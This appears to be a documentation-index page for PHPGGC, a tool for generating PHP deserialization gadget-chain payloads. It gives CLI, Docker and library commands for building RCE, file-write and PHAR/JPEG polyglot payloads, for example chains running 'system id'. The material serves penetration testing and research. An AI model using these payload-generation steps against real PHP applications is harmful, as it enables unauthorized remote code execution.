DOCSEARCHbyAlgolia
Submit Docs

PHPGGC Documentation

repository·master·Indexed 26 days ago

https://github.com/ambionics/phpggc

A tool and library for generating PHP unserialize() payloads (gadget chains) for exploitation. It supports various exploitation types including RCE, File Write, and File Read, and provides features for payload encoding, obfuscation, PHAR archive generation, and compatibility testing across package versions. PHPGGC can be used as a CLI tool, integrated as a PHP library, or run via Docker.

Tokens
2.2K
Snippets
5
Records
15
Agent score
37%

What's inside PHPGGC

  1. Generate a Payload

    master

    To generate a payload, run ./phpggc <gadget-chain> [parameters]. The required parameters depend on the exploitation type:

    • RCE (Command): Pass the command directly. ./phpggc <chain> <command>
    • RCE (PHP code): Pass the PHP code as a string. ./phpggc <chain> '<php_code>'
    • RCE (Function call): Pass the function name and then the arguments. ./phpggc <chain> <function> <argument>
    • File Write: Pass the target file path and the content to write. ./phpggc <chain> <file_path> <content>

  2. Test gadget chain compatibility across package versions

    master

    Use the test-gc-compatibility.py script to determine which versions of a package are vulnerable to specific gadget chains.

    Syntax: ./test-gc-compatibility.py <package>:<version1>,<version2> <chain1> <chain2>

    If you do not specify versions, it will test all available versions for the package.

  3. Use PHPGGC via Docker

    master

    If you prefer not to install PHP locally, you can use the provided Docker image.

    Build the image:

    docker build . -t 'phpggc'

    Generate a gadget chain:

    docker run phpggc Monolog/rce1 'system' 'id'

    Test a chain in a local directory: Mount your target directory to /app and run with --test-payload:

    docker run -v "$(pwd)":/app -w /app phpggc Monolog/RCE9 --test-payload

    Generate PHAR/Polyglot files: Execute the command from the directory containing the input image:

    docker run -v "$(pwd)":/images phpggc -pj /images/dummy.jpg -o /images/z.zip.phar Monolog/RCE9 system id

    Run compatibility testing:

    docker run --entrypoint './test-gc-compatibility.py' phpggc doctrine/doctrine-bundle:2.2,2.7.2 doctrine/rce1 doctrine/rce2

  4. Use a PHP Wrapper to Modify Payloads

    master

    The --wrapper (-w) option allows you to provide a PHP file that intercepts the generation process. This is useful when the target application expects the payload to be wrapped in a specific structure (e.g., inside an array).

    Supported functions in the wrapper file:

    • process_parameters(array $parameters): Called before generate(). Use this to modify parameters.
    • process_object(object $object): Called before serialize(). Use this to modify the object structure.
    • process_serialized(string $serialized): Called after serialize(). Use this to modify the final serialized string.
    <?php
# /tmp/my_wrapper.php
function process_object($object)
{
    return array(
        'message' => $object
    );
}
    # Apply the wrapper
$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id

  5. Test a gadget chain in a local environment

    master

    To verify if a specific gadget chain works in your target environment, navigate to your target project's directory and run the PHPGGC command with the --test-payload option. The command will attempt to deserialize the payload and report success if the trigger is hit. An exit code of 0 indicates success, while 1 indicates failure.

    $ cd some_symfony
$ phpggc monolog/rce2 --test-payload

  7. Integrate PHPGGC into PHP scripts

    master

    You can use PHPGGC as a library instead of a CLI tool. This allows for programmatic generation and manipulation of payloads.

    Workflow:

    1. Include phpggc/lib/PHPGGC.php.
    2. Instantiate the specific GadgetChain class.
    3. Call process_parameters() with your desired arguments.
    4. Call generate($parameters) to create the object.
    5. (Optional) Call process_object() and process_serialized() for encoding/obfuscation.
    6. Use serialize() on the resulting object.
    <?php

# Include PHPGGC
include("phpggc/lib/PHPGGC.php");

# Include guzzle/rce1
$gc = new \GadgetChain\Guzzle\RCE1();

# Always process parameters unless you're doing something out of the ordinary
$parameters = $gc->process_parameters([
	'function' => 'system',
	'parameter' => 'id',
]);

# Generate the payload
$object = $gc->generate($parameters);

// Most (if not all) GC's do not use process_object and process_serialized, so
// for quick & dirty code you can omit those two 
$object = $gc->process_object($object);

// Serialize the payload
$serialized = serialize($object);
$serialized = $gc->process_serialized($serialized);

// Display it
print($serialized . "\n");

// Create a PHAR file from this payload
$phar = new \PHPGGC\Phar\Tar($serialized);
file_put_contents('output.phar.tar', $phar->generate());

  8. Create a new gadget chain template

    master

    To start developing a new gadget chain, use the --new <framework> <type> command-line option. This will automatically create the necessary directory and file structure.

    Example: ./phpggc -n Drupal RCE creates a new Drupal RCE gadget chain template.

  9. Get Detailed Information about a Gadget Chain

    master

    Use the -i flag to see detailed information about a specific chain, including the exploitation type and specific implementation details (e.g., which function is called).

    $ ./phpggc -i symfony/rce1

  10. Generate PHAR Files

    master

    PHPGGC can generate PHAR archives (PHAR, TAR, or ZIP formats) instead of raw serialized strings. This is useful for exploitation techniques involving file_exists or fopen.

    Options:

    • -p <format>: Specify the archive format (phar, tar, or zip).
    • -o <file>: Specify the output file path.
    • -pj (--phar-jpeg): Generate a polyglot JPEG/PHAR file using an existing image.
    • -h: Show all PHAR-related options.

  11. Convert protected/private properties to public

    master
    PHPGGC can attempt to convert references to protected or private properties within the serialized payload to public. This prevents issues where null bytes used for property prefixes (e.g., \0*�) are lost during transmission. This feature works well in recent PHP versions but may cause issues in versions older than PHP 7.2. It may fail if the chain includes objects with custom serialize/unserialize implementations.

  12. Use the --fast-destruct flag for reliability

    master

    The --fast-destruct (-f) flag ensures that the serialized object is destroyed immediately after the unserialize() call, rather than at the end of the script. This is highly recommended for any gadget chain using a __destruct vector to improve reliability, especially if the PHP script might raise an exception after the call.

    $ ./phpggc -f -s slim/rce1 system id